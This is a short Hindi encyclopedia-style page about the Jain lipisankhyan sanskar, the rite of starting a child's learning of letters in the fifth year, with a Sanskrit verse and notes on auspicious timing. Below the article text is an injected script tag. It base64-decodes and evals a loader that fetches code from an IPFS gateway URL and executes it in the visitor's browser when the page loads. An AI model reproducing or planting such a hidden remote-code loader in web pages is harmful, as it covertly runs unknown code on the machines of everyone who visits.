जैन लिपिसंख्यान संस्कार

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
  • लिपि संख्यान संस्कार अर्थात् बालक को अक्षराभ्यास कराना।
  • शास्त्रारम्भ यज्ञोपवीत के बाद होता है।
  • लिपिसंख्यान संस्कार पाँचवें वर्ष में करना चाहिए।
  • ग्रन्थकारों का मत है- 'प्राप्ते तु पंचमे वर्षें, विद्यारम्भं समाचरेत्।' अर्थात् पाँचवें वर्ष में विद्यारम्भ संस्कार करना चाहिए।

ततोऽस्य पंचमे वर्षे, प्रथमाक्षरदर्शने।
ज्ञेय: क्रियाविधिर्नाम्ना, लिपिसंख्यानसंग्रह:॥
यथाविभवमत्रापि, ज्ञेय: पूजापरिच्छद:।
उपाध्याय पदे चास्य, मतोऽधीती गृहव्रती॥

अर्थात् लिपिसंख्यान (विद्यारम्भ) संस्कार पाँचवें वर्ष में करना चाहिए।

  • इस संस्कार में शुभ मुहूर्त अत्यावश्यक है।
  • योग, वार, नक्षत्र-ये सब ही शुभ अर्थात् विद्यावृद्धिकर होने चाहिए।
  • उपाध्याय (गुरु) को इस विषय का विशेष ध्यान रखना आवश्यक है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख